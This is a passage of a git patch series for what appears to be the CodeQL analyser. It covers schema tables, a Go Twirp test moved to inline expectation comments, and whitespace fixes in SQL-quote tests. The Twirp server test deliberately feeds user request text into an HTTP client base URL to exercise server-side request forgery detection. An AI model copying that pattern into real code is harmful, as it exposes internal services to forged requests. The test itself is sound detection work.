+| 17 = @ppd_embed +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +embeds( + unique int id: @ppd_embed ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/*- Database metadata -*/ + +/** + * The CLI will automatically emit applicable tuples for this table, + * such as `databaseMetadata("isOverlay", "true")` when building an + * overlay database. + */ +databaseMetadata( + string metadataKey: string ref, + string value: string ref +); + +/*- Overlay support -*/ + +/** + * The CLI will automatically emit tuples for each new/modified/deleted file + * when building an overlay database. + */ +overlayChangedFiles( + string path: string ref +); + +/*- XML Files -*/ + +xmlEncoding( + unique int id: @file ref, + string encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/upgrade.properties b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/upgrade.properties new file mode 100644 index 00000000000..d3a842d2cbb --- /dev/null +++ b/cpp/ql/lib/upgrades/ef8d209a22e27413aaaeff4446f0ecb9fa2c227b/upgrade.properties @@ -0,0 +1,2 @@ +description: Fix NameQualifier inconsistency +compatibility: full From 4c411bbcb5de03da4d852d742aa1da6777b095c8 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 10 Jun 2026 07:07:49 +0200 Subject: [PATCH 057/143] Convert hand-rolled inline expectations test --- .../go/frameworks/Twirp/RequestForgery.qlref | 4 +- .../semmle/go/frameworks/Twirp/client/main.go | 2 +- .../frameworks/Twirp/rpc/notes/service.pb.go | 10 +- .../Twirp/rpc/notes/service.twirp.go | 36 +-- .../semmle/go/frameworks/Twirp/server/main.go | 10 +- .../semmle/go/frameworks/Twirp/tests.expected | 32 +-- .../semmle/go/frameworks/Twirp/tests.ql | 229 +++++------------- 7 files changed, 95 insertions(+), 228 deletions(-) diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/RequestForgery.qlref b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/RequestForgery.qlref index 061679da228..760862973f1 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/RequestForgery.qlref +++ b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/RequestForgery.qlref @@ -1,2 +1,4 @@ query: Security/CWE-918/RequestForgery.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/client/main.go b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/client/main.go index 76abd1a0a9c..e5b4cd2351d 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/client/main.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/client/main.go @@ -9,7 +9,7 @@ import ( ) func main() { - client := notes.NewNotesServiceProtobufClient("http://localhost:8000", &http.Client{}) // test: ssrfSink + client := notes.NewNotesServiceProtobufClient("http://localhost:8000", &http.Client{}) // $ ssrfSink ctx := context.Background() diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/rpc/notes/service.pb.go b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/rpc/notes/service.pb.go index f0c3e4910d9..e91168f43a9 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/rpc/notes/service.pb.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/rpc/notes/service.pb.go @@ -20,7 +20,7 @@ const ( _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) -type Note struct { // test: message +type Note struct { // $ message state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -83,7 +83,7 @@ func (x *Note) GetCreatedAt() int64 { return 0 } -type CreateNoteParams struct { // test: message +type CreateNoteParams struct { // $ message state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -130,7 +130,7 @@ func (x *CreateNoteParams) GetText() string { return "" } -type GetAllNotesParams struct { // test: message +type GetAllNotesParams struct { // $ message state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -168,7 +168,7 @@ func (*GetAllNotesParams) Descriptor() ([]byte, []int) { return file_rpc_notes_service_proto_rawDescGZIP(), []int{2} } -type GetAllNotesResult struct { // test: message +type GetAllNotesResult struct { // $ message state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -340,7 +340,7 @@ func file_rpc_notes_service_proto_init() { } } } - type x struct{} + type x struct{} // $ SPURIOUS: message // not message out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/rpc/notes/service.twirp.go b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/rpc/notes/service.twirp.go index 19bcc56f261..6b34dcf08ea 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/rpc/notes/service.twirp.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/rpc/notes/service.twirp.go @@ -31,7 +31,7 @@ const _ = twirp.TwirpPackageMinVersion_8_1_0 // NotesService Interface // ====================== -type NotesService interface { // test: serviceInterface +type NotesService interface { // $ serviceInterface CreateNote(context.Context, *CreateNoteParams) (*Note, error) GetAllNotes(context.Context, *GetAllNotesParams) (*GetAllNotesResult, error) @@ -41,7 +41,7 @@ type NotesService interface { // test: serviceInterface // NotesService Protobuf Client // ============================ -type notesServiceProtobufClient struct { // test: serviceClient +type notesServiceProtobufClient struct { // $ serviceClient client HTTPClient urls [2]string interceptor twirp.Interceptor @@ -50,7 +50,7 @@ type notesServiceProtobufClient struct { // test: serviceClient // NewNotesServiceProtobufClient creates a Protobuf client that implements the NotesService interface. // It communicates using Protobuf and can be configured with a custom HTTPClient. -func NewNotesServiceProtobufClient(baseURL string, client HTTPClient, opts ...twirp.ClientOption) NotesService { // test: clientConstructor +func NewNotesServiceProtobufClient(baseURL string, client HTTPClient, opts ...twirp.ClientOption) NotesService { // $ clientConstructor if c, ok := client.(*http.Client); ok { client = withoutRedirects(c) } @@ -84,7 +84,7 @@ func NewNotesServiceProtobufClient(baseURL string, client HTTPClient, opts ...tw } } -func (c *notesServiceProtobufClient) CreateNote(ctx context.Context, in *CreateNoteParams) (*Note, error) { // test: !handler +func (c *notesServiceProtobufClient) CreateNote(ctx context.Context, in *CreateNoteParams) (*Note, error) { // not handler ctx = ctxsetters.WithPackageName(ctx, "gotwirprpcexample.rpc.notes") ctx = ctxsetters.WithServiceName(ctx, "NotesService") ctx = ctxsetters.WithMethodName(ctx, "CreateNote") @@ -113,7 +113,7 @@ func (c *notesServiceProtobufClient) CreateNote(ctx context.Context, in *CreateN return caller(ctx, in) } -func (c *notesServiceProtobufClient) callCreateNote(ctx context.Context, in *CreateNoteParams) (*Note, error) { // test: !handler +func (c *notesServiceProtobufClient) callCreateNote(ctx context.Context, in *CreateNoteParams) (*Note, error) { // not handler out := new(Note) ctx, err := doProtobufRequest(ctx, c.client, c.opts.Hooks, c.urls[0], in, out) if err != nil { @@ -130,7 +130,7 @@ func (c *notesServiceProtobufClient) callCreateNote(ctx context.Context, in *Cre return out, nil } -func (c *notesServiceProtobufClient) GetAllNotes(ctx context.Context, in *GetAllNotesParams) (*GetAllNotesResult, error) { // test: !handler +func (c *notesServiceProtobufClient) GetAllNotes(ctx context.Context, in *GetAllNotesParams) (*GetAllNotesResult, error) { // not handler ctx = ctxsetters.WithPackageName(ctx, "gotwirprpcexample.rpc.notes") ctx = ctxsetters.WithServiceName(ctx, "NotesService") ctx = ctxsetters.WithMethodName(ctx, "GetAllNotes") @@ -159,7 +159,7 @@ func (c *notesServiceProtobufClient) GetAllNotes(ctx context.Context, in *GetAll return caller(ctx, in) } -func (c *notesServiceProtobufClient) callGetAllNotes(ctx context.Context, in *GetAllNotesParams) (*GetAllNotesResult, error) { // test: !handler +func (c *notesServiceProtobufClient) callGetAllNotes(ctx context.Context, in *GetAllNotesParams) (*GetAllNotesResult, error) { // not handler out := new(GetAllNotesResult) ctx, err := doProtobufRequest(ctx, c.client, c.opts.Hooks, c.urls[1], in, out) if err != nil { @@ -180,7 +180,7 @@ func (c *notesServiceProtobufClient) callGetAllNotes(ctx context.Context, in *Ge // NotesService JSON Client // ======================== -type notesServiceJSONClient struct { // test: serviceClient +type notesServiceJSONClient struct { // $ serviceClient client HTTPClient urls [2]string interceptor twirp.Interceptor @@ -189,7 +189,7 @@ type notesServiceJSONClient struct { // test: serviceClient // NewNotesServiceJSONClient creates a JSON client that implements the NotesService interface. // It communicates using JSON and can be configured with a custom HTTPClient. -func NewNotesServiceJSONClient(baseURL string, client HTTPClient, opts ...twirp.ClientOption) NotesService { // test: clientConstructor +func NewNotesServiceJSONClient(baseURL string, client HTTPClient, opts ...twirp.ClientOption) NotesService { // $ clientConstructor if c, ok := client.(*http.Client); ok { client = withoutRedirects(c) } @@ -223,7 +223,7 @@ func NewNotesServiceJSONClient(baseURL string, client HTTPClient, opts ...twirp. } } -func (c *notesServiceJSONClient) CreateNote(ctx context.Context, in *CreateNoteParams) (*Note, error) { // test: !handler +func (c *notesServiceJSONClient) CreateNote(ctx context.Context, in *CreateNoteParams) (*Note, error) { // not handler ctx = ctxsetters.WithPackageName(ctx, "gotwirprpcexample.rpc.notes") ctx = ctxsetters.WithServiceName(ctx, "NotesService") ctx = ctxsetters.WithMethodName(ctx, "CreateNote") @@ -252,7 +252,7 @@ func (c *notesServiceJSONClient) CreateNote(ctx context.Context, in *CreateNoteP return caller(ctx, in) } -func (c *notesServiceJSONClient) callCreateNote(ctx context.Context, in *CreateNoteParams) (*Note, error) { // test: !handler +func (c *notesServiceJSONClient) callCreateNote(ctx context.Context, in *CreateNoteParams) (*Note, error) { // not handler out := new(Note) ctx, err := doJSONRequest(ctx, c.client, c.opts.Hooks, c.urls[0], in, out) if err != nil { @@ -269,7 +269,7 @@ func (c *notesServiceJSONClient) callCreateNote(ctx context.Context, in *CreateN return out, nil } -func (c *notesServiceJSONClient) GetAllNotes(ctx context.Context, in *GetAllNotesParams) (*GetAllNotesResult, error) { // test: !handler +func (c *notesServiceJSONClient) GetAllNotes(ctx context.Context, in *GetAllNotesParams) (*GetAllNotesResult, error) { // not handler ctx = ctxsetters.WithPackageName(ctx, "gotwirprpcexample.rpc.notes") ctx = ctxsetters.WithServiceName(ctx, "NotesService") ctx = ctxsetters.WithMethodName(ctx, "GetAllNotes") @@ -298,7 +298,7 @@ func (c *notesServiceJSONClient) GetAllNotes(ctx context.Context, in *GetAllNote return caller(ctx, in) } -func (c *notesServiceJSONClient) callGetAllNotes(ctx context.Context, in *GetAllNotesParams) (*GetAllNotesResult, error) { // test: !handler +func (c *notesServiceJSONClient) callGetAllNotes(ctx context.Context, in *GetAllNotesParams) (*GetAllNotesResult, error) { // not handler out := new(GetAllNotesResult) ctx, err := doJSONRequest(ctx, c.client, c.opts.Hooks, c.urls[1], in, out) if err != nil { @@ -319,7 +319,7 @@ func (c *notesServiceJSONClient) callGetAllNotes(ctx context.Context, in *GetAll // NotesService Server Handler // =========================== -type notesServiceServer struct { // test: serviceServer +type notesServiceServer struct { // $ serviceServer NotesService interceptor twirp.Interceptor hooks *twirp.ServerHooks @@ -331,7 +331,7 @@ type notesServiceServer struct { // test: serviceServer // NewNotesServiceServer builds a TwirpServer that can be used as an http.Handler to handle // HTTP requests that are routed to the right method in the provided svc implementation. // The opts are twirp.ServerOption modifiers, for example twirp.WithServerHooks(hooks). -func NewNotesServiceServer(svc NotesService, opts ...interface{}) TwirpServer { // test: serverConstructor +func NewNotesServiceServer(svc NotesService, opts ...interface{}) TwirpServer { // $ serverConstructor serverOpts := newServerOpts(opts) // Using ReadOpt allows backwards and forwards compatibility with new options in the future @@ -535,7 +535,7 @@ func (s *notesServiceServer) serveCreateNoteProtobuf(ctx context.Context, resp h return } - buf, err := io.ReadAll(req.Body) + buf, err := io.ReadAll(req.Body) // $ Source if err != nil { s.handleRequestBodyError(ctx, resp, "failed to read request body", err) return @@ -812,7 +812,7 @@ func (s *notesServiceServer) PathPrefix() string { // automatically disabled if *(net/http).Client is passed to client // constructors. See the withoutRedirects function in this file for more // details. -type HTTPClient interface { +type HTTPClient interface { // $ SPURIOUS: serviceInterface // not serviceInterface Do(req *http.Request) (*http.Response, error) } @@ -820,7 +820,7 @@ type HTTPClient interface { // HTTP handlers with additional methods for accessing metadata about the // service. Those accessors are a low-level API for building reflection tools. // Most people can think of TwirpServers as just http.Handlers. -type TwirpServer interface { +type TwirpServer interface { // $ SPURIOUS: serviceInterface // not serviceInterface http.Handler // ServiceDescriptor returns gzipped bytes describing the .proto file that diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/server/main.go b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/server/main.go index 203b3af1736..7499e79f827 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/server/main.go +++ b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/server/main.go @@ -16,7 +16,7 @@ type notesService struct { CurrentId int32 } -func (s *notesService) CreateNote(ctx context.Context, params *notes.CreateNoteParams) (*notes.Note, error) { // test: routeHandler, request +func (s *notesService) CreateNote(ctx context.Context, params *notes.CreateNoteParams) (*notes.Note, error) { // $ Source request handler // route handler if len(params.Text) < 4 { return nil, twirp.InvalidArgument.Error("Text should be min 4 characters.") } @@ -27,8 +27,8 @@ func (s *notesService) CreateNote(ctx context.Context, params *notes.CreateNoteP CreatedAt: time.Now().UnixMilli(), } - notes.NewNotesServiceProtobufClient(params.Text, &http.Client{}) // test: ssrfSink, ssrf - notes.NewNotesServiceProtobufClient(strconv.FormatInt(int64(s.CurrentId), 10), &http.Client{}) // test: ssrfSink, !ssrf + notes.NewNotesServiceProtobufClient(params.Text, &http.Client{}) // $ Alert ssrfSink ssrf + notes.NewNotesServiceProtobufClient(strconv.FormatInt(int64(s.CurrentId), 10), &http.Client{}) // $ ssrfSink // not ssrf s.Notes = append(s.Notes, note) @@ -37,7 +37,7 @@ func (s *notesService) CreateNote(ctx context.Context, params *notes.CreateNoteP return ¬e, nil } -func (s *notesService) GetAllNotes(ctx context.Context, params *notes.GetAllNotesParams) (*notes.GetAllNotesResult, error) { // test: routeHandler, request +func (s *notesService) GetAllNotes(ctx context.Context, params *notes.GetAllNotesParams) (*notes.GetAllNotesResult, error) { // $ request handler // route handler allNotes := make([]*notes.Note, 0) fmt.Println(params) @@ -57,7 +57,7 @@ func main() { mux := http.NewServeMux() mux.Handle(notesServer.PathPrefix(), notesServer) - err := http.ListenAndServe(":8000", notesServer) // test: !ssrfSink + err := http.ListenAndServe(":8000", notesServer) // not ssrfSink if err != nil { panic(err) } diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/tests.expected b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/tests.expected index 4b0a2d917e7..42831abaf15 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/tests.expected +++ b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/tests.expected @@ -1,32 +1,2 @@ invalidModelRow -passingPositiveTests -| PASSED | clientConstructor | rpc/notes/service.twirp.go:53:114:53:139 | comment | -| PASSED | clientConstructor | rpc/notes/service.twirp.go:192:110:192:135 | comment | -| PASSED | message | rpc/notes/service.pb.go:23:20:23:35 | comment | -| PASSED | message | rpc/notes/service.pb.go:86:32:86:47 | comment | -| PASSED | message | rpc/notes/service.pb.go:133:33:133:48 | comment | -| PASSED | message | rpc/notes/service.pb.go:171:33:171:48 | comment | -| PASSED | request | server/main.go:19:111:19:140 | comment | -| PASSED | request | server/main.go:40:126:40:155 | comment | -| PASSED | serverConstructor | rpc/notes/service.twirp.go:334:81:334:106 | comment | -| PASSED | serviceClient | rpc/notes/service.twirp.go:44:42:44:63 | comment | -| PASSED | serviceClient | rpc/notes/service.twirp.go:183:38:183:59 | comment | -| PASSED | serviceInterface | rpc/notes/service.twirp.go:34:31:34:55 | comment | -| PASSED | serviceServer | rpc/notes/service.twirp.go:322:34:322:55 | comment | -| PASSED | ssrf | server/main.go:30:97:30:119 | comment | -| PASSED | ssrfSink | client/main.go:12:89:12:105 | comment | -| PASSED | ssrfSink | server/main.go:30:97:30:119 | comment | -| PASSED | ssrfSink | server/main.go:31:97:31:120 | comment | -failingPositiveTests -passingNegativeTests -| PASSED | !handler | rpc/notes/service.twirp.go:87:109:87:125 | comment | -| PASSED | !handler | rpc/notes/service.twirp.go:116:113:116:129 | comment | -| PASSED | !handler | rpc/notes/service.twirp.go:133:124:133:140 | comment | -| PASSED | !handler | rpc/notes/service.twirp.go:162:128:162:144 | comment | -| PASSED | !handler | rpc/notes/service.twirp.go:226:105:226:121 | comment | -| PASSED | !handler | rpc/notes/service.twirp.go:255:109:255:125 | comment | -| PASSED | !handler | rpc/notes/service.twirp.go:272:120:272:136 | comment | -| PASSED | !handler | rpc/notes/service.twirp.go:301:124:301:140 | comment | -| PASSED | !ssrf | server/main.go:31:97:31:120 | comment | -| PASSED | !ssrfSink | server/main.go:60:51:60:68 | comment | -failingNegativeTests +testFailures diff --git a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/tests.ql b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/tests.ql index 5866b6ff3ed..2b445ce4d86 100644 --- a/go/ql/test/library-tests/semmle/go/frameworks/Twirp/tests.ql +++ b/go/ql/test/library-tests/semmle/go/frameworks/Twirp/tests.ql @@ -2,181 +2,76 @@ import go import semmle.go.dataflow.ExternalFlow import ModelValidation import semmle.go.security.RequestForgery +import utils.test.InlineExpectationsTest -class InlineTest extends LineComment { - string tests; - - InlineTest() { tests = this.getText().regexpCapture("\\s*test:(.*)", 1) } - - string getPositiveTest() { - result = tests.trim().splitAt(",").trim() and not result.matches("!%") +module TwirpTest implements TestSig { + string getARelevantTag() { + result = + [ + "handler", "request", "ssrfSink", "message", "serviceInterface", "serviceClient", + "serviceServer", "clientConstructor", "serverConstructor", "ssrf" + ] } - string getNegativeTest() { result = tests.trim().splitAt(",").trim() and result.matches("!%") } - - predicate hasPositiveTest(string test) { test = this.getPositiveTest() } - - predicate hasNegativeTest(string test) { test = this.getNegativeTest() } - - predicate inNode(DataFlow::Node n) { - this.getLocation().getFile() = n.getFile() and - this.getLocation().getStartLine() = n.getStartLine() + additional predicate hasEntityResult(Location location, string element, Entity entity) { + location = entity.getDeclaration().getLocation() and + element = entity.toString() } - predicate inEntity(Entity e) { - this.getLocation().getFile() = e.getDeclaration().getFile() and - this.getLocation().getStartLine() = e.getDeclaration().getLocation().getStartLine() + additional predicate hasTypeResult(Location location, string element, Type goType) { + exists(TypeEntity typeEntity | + typeEntity.getType() = goType and + location = typeEntity.getDeclaration().getLocation() and + element = goType.toString() + ) } - predicate inType(Type t) { - exists(TypeEntity te | - te.getType() = t and - this.getLocation().getFile() = te.getDeclaration().getFile() and - this.getLocation().getStartLine() = te.getDeclaration().getLocation().getStartLine() + predicate hasActualResult(Location location, string element, string tag, string value) { + value = "" and + ( + tag = "handler" and + exists(Twirp::ServiceHandler handler | hasEntityResult(location, element, handler)) + or + tag = "request" and + exists(Twirp::Request request | + location = request.getLocation() and + element = request.toString() + ) + or + tag = "ssrfSink" and + exists(RequestForgery::Sink sink | + location = sink.getLocation() and + element = sink.toString() + ) + or + tag = "message" and + exists(Twirp::ProtobufMessageType message | hasTypeResult(location, element, message)) + or + tag = "serviceInterface" and + exists(Twirp::ServiceInterfaceType serviceInterface | + hasTypeResult(location, element, serviceInterface.getDefinedType()) + ) + or + tag = "serviceClient" and + exists(Twirp::ServiceClientType client | hasTypeResult(location, element, client)) + or + tag = "serviceServer" and + exists(Twirp::ServiceServerType server | hasTypeResult(location, element, server)) + or + tag = "clientConstructor" and + exists(Twirp::ClientConstructor constructor | hasEntityResult(location, element, constructor)) + or + tag = "serverConstructor" and + exists(Twirp::ServerConstructor constructor | hasEntityResult(location, element, constructor)) + or + tag = "ssrf" and + exists(DataFlow::Node sink | + RequestForgery::Flow::flowTo(sink) and + location = sink.getLocation() and + element = sink.toString() + ) ) } } -query predicate passingPositiveTests(string res, string expectation, InlineTest t) { - res = "PASSED" and - t.hasPositiveTest(expectation) and - ( - expectation = "handler" and - exists(Twirp::ServiceHandler n | t.inEntity(n)) - or - expectation = "request" and - exists(Twirp::Request n | t.inNode(n)) - or - expectation = "ssrfSink" and - exists(RequestForgery::Sink n | t.inNode(n)) - or - expectation = "message" and - exists(Twirp::ProtobufMessageType n | t.inType(n)) - or - expectation = "serviceInterface" and - exists(Twirp::ServiceInterfaceType n | t.inType(n.getDefinedType())) - or - expectation = "serviceClient" and - exists(Twirp::ServiceClientType n | t.inType(n)) - or - expectation = "serviceServer" and - exists(Twirp::ServiceServerType n | t.inType(n)) - or - expectation = "clientConstructor" and - exists(Twirp::ClientConstructor n | t.inEntity(n)) - or - expectation = "serverConstructor" and - exists(Twirp::ServerConstructor n | t.inEntity(n)) - or - expectation = "ssrf" and - exists(DataFlow::Node sink | RequestForgery::Flow::flowTo(sink) and t.inNode(sink)) - ) -} - -query predicate failingPositiveTests(string res, string expectation, InlineTest t) { - res = "FAILED" and - t.hasPositiveTest(expectation) and - ( - expectation = "handler" and - not exists(Twirp::ServiceHandler n | t.inEntity(n)) - or - expectation = "request" and - not exists(Twirp::Request n | t.inNode(n)) - or - expectation = "ssrfSink" and - not exists(RequestForgery::Sink n | t.inNode(n)) - or - expectation = "message" and - not exists(Twirp::ProtobufMessageType n | t.inType(n)) - or - expectation = "serviceInterface" and - not exists(Twirp::ServiceInterfaceType n | t.inType(n.getDefinedType())) - or - expectation = "serviceClient" and - not exists(Twirp::ServiceClientType n | t.inType(n)) - or - expectation = "serviceServer" and - not exists(Twirp::ServiceServerType n | t.inType(n)) - or - expectation = "clientConstructor" and - not exists(Twirp::ClientConstructor n | t.inEntity(n)) - or - expectation = "serverConstructor" and - not exists(Twirp::ServerConstructor n | t.inEntity(n)) - or - expectation = "ssrf" and - not exists(DataFlow::Node sink | RequestForgery::Flow::flowTo(sink) and t.inNode(sink)) - ) -} - -query predicate passingNegativeTests(string res, string expectation, InlineTest t) { - res = "PASSED" and - t.hasNegativeTest(expectation) and - ( - expectation = "!handler" and - not exists(Twirp::ServiceHandler n | t.inEntity(n)) - or - expectation = "!request" and - not exists(Twirp::Request n | t.inNode(n)) - or - expectation = "!ssrfSink" and - not exists(RequestForgery::Sink n | t.inNode(n)) - or - expectation = "!message" and - not exists(Twirp::ProtobufMessageType n | t.inType(n)) - or - expectation = "!serviceInterface" and - not exists(Twirp::ServiceInterfaceType n | t.inType(n)) - or - expectation = "!serviceClient" and - not exists(Twirp::ServiceClientType n | t.inType(n)) - or - expectation = "!serviceServer" and - not exists(Twirp::ServiceServerType n | t.inType(n)) - or - expectation = "!clientConstructor" and - not exists(Twirp::ClientConstructor n | t.inEntity(n)) - or - expectation = "!serverConstructor" and - not exists(Twirp::ServerConstructor n | t.inEntity(n)) - or - expectation = "!ssrf" and - not exists(DataFlow::Node sink | RequestForgery::Flow::flowTo(sink) and t.inNode(sink)) - ) -} - -query predicate failingNegativeTests(string res, string expectation, InlineTest t) { - res = "FAILED" and - t.hasNegativeTest(expectation) and - ( - expectation = "!handler" and - exists(Twirp::ServiceHandler n | t.inEntity(n)) - or - expectation = "!request" and - exists(Twirp::Request n | t.inNode(n)) - or - expectation = "!ssrfSink" and - exists(RequestForgery::Sink n | t.inNode(n)) - or - expectation = "!message" and - exists(Twirp::ProtobufMessageType n | t.inType(n)) - or - expectation = "!serviceInterface" and - exists(Twirp::ServiceInterfaceType n | t.inType(n)) - or - expectation = "!serviceClient" and - exists(Twirp::ServiceClientType n | t.inType(n)) - or - expectation = "!serviceServer" and - exists(Twirp::ServiceServerType n | t.inType(n)) - or - expectation = "!clientConstructor" and - exists(Twirp::ClientConstructor n | t.inEntity(n)) - or - expectation = "!serverConstructor" and - exists(Twirp::ServerConstructor n | t.inEntity(n)) - or - expectation = "!ssrf" and - exists(DataFlow::Node sink | RequestForgery::Flow::flowTo(sink) and t.inNode(sink)) - ) -} +import MakeTest From 6a8e20a0c87d3e8cc027db59db5afd985e48d74a Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 10 Jun 2026 07:12:08 +0200 Subject: [PATCH 058/143] Fix pre-existing whitespace issues in go test files --- .../WhitespaceContradictsPrecedence/main.go | 2 +- .../Security/CWE-089/StringBreak.expected | 40 +++++++++---------- .../Security/CWE-089/StringBreak.go | 1 + .../Security/CWE-089/StringBreakMismatched.go | 3 +- 4 files changed, 24 insertions(+), 22 deletions(-) diff --git a/go/ql/test/query-tests/InconsistentCode/WhitespaceContradictsPrecedence/main.go b/go/ql/test/query-tests/InconsistentCode/WhitespaceContradictsPrecedence/main.go index faf23f9f1cf..dc1bf222aec 100644 --- a/go/ql/test/query-tests/InconsistentCode/WhitespaceContradictsPrecedence/main.go +++ b/go/ql/test/query-tests/InconsistentCode/WhitespaceContradictsPrecedence/main.go @@ -21,7 +21,7 @@ func ok3(x int) int { func ok4(x int, y int, z int) int { return x + y + z; } - + func ok5(x int, y int, z int) int { return x + y+z; } diff --git a/go/ql/test/query-tests/Security/CWE-089/StringBreak.expected b/go/ql/test/query-tests/Security/CWE-089/StringBreak.expected index 5deab249337..63caa73d596 100644 --- a/go/ql/test/query-tests/Security/CWE-089/StringBreak.expected +++ b/go/ql/test/query-tests/Security/CWE-089/StringBreak.expected @@ -1,26 +1,26 @@ #select -| StringBreak.go:14:47:14:57 | versionJSON | StringBreak.go:10:2:10:40 | ... := ...[0] | StringBreak.go:14:47:14:57 | versionJSON | If this $@ contains a single quote, it could break out of the enclosing quotes. | StringBreak.go:10:2:10:40 | ... := ...[0] | JSON value | -| StringBreakMismatched.go:17:26:17:32 | escaped | StringBreakMismatched.go:12:2:12:40 | ... := ...[0] | StringBreakMismatched.go:17:26:17:32 | escaped | If this $@ contains a single quote, it could break out of the enclosing quotes. | StringBreakMismatched.go:12:2:12:40 | ... := ...[0] | JSON value | -| StringBreakMismatched.go:29:27:29:33 | escaped | StringBreakMismatched.go:24:2:24:40 | ... := ...[0] | StringBreakMismatched.go:29:27:29:33 | escaped | If this $@ contains a double quote, it could break out of the enclosing quotes. | StringBreakMismatched.go:24:2:24:40 | ... := ...[0] | JSON value | +| StringBreak.go:15:47:15:57 | versionJSON | StringBreak.go:11:2:11:40 | ... := ...[0] | StringBreak.go:15:47:15:57 | versionJSON | If this $@ contains a single quote, it could break out of the enclosing quotes. | StringBreak.go:11:2:11:40 | ... := ...[0] | JSON value | +| StringBreakMismatched.go:18:26:18:32 | escaped | StringBreakMismatched.go:13:2:13:40 | ... := ...[0] | StringBreakMismatched.go:18:26:18:32 | escaped | If this $@ contains a single quote, it could break out of the enclosing quotes. | StringBreakMismatched.go:13:2:13:40 | ... := ...[0] | JSON value | +| StringBreakMismatched.go:30:27:30:33 | escaped | StringBreakMismatched.go:25:2:25:40 | ... := ...[0] | StringBreakMismatched.go:30:27:30:33 | escaped | If this $@ contains a double quote, it could break out of the enclosing quotes. | StringBreakMismatched.go:25:2:25:40 | ... := ...[0] | JSON value | edges -| StringBreak.go:10:2:10:40 | ... := ...[0] | StringBreak.go:14:47:14:57 | versionJSON | provenance | | -| StringBreakMismatched.go:12:2:12:40 | ... := ...[0] | StringBreakMismatched.go:13:29:13:47 | type conversion | provenance | | -| StringBreakMismatched.go:13:13:13:62 | call to Replace | StringBreakMismatched.go:17:26:17:32 | escaped | provenance | | -| StringBreakMismatched.go:13:29:13:47 | type conversion | StringBreakMismatched.go:13:13:13:62 | call to Replace | provenance | MaD:1 | -| StringBreakMismatched.go:24:2:24:40 | ... := ...[0] | StringBreakMismatched.go:25:29:25:47 | type conversion | provenance | | -| StringBreakMismatched.go:25:13:25:61 | call to Replace | StringBreakMismatched.go:29:27:29:33 | escaped | provenance | | -| StringBreakMismatched.go:25:29:25:47 | type conversion | 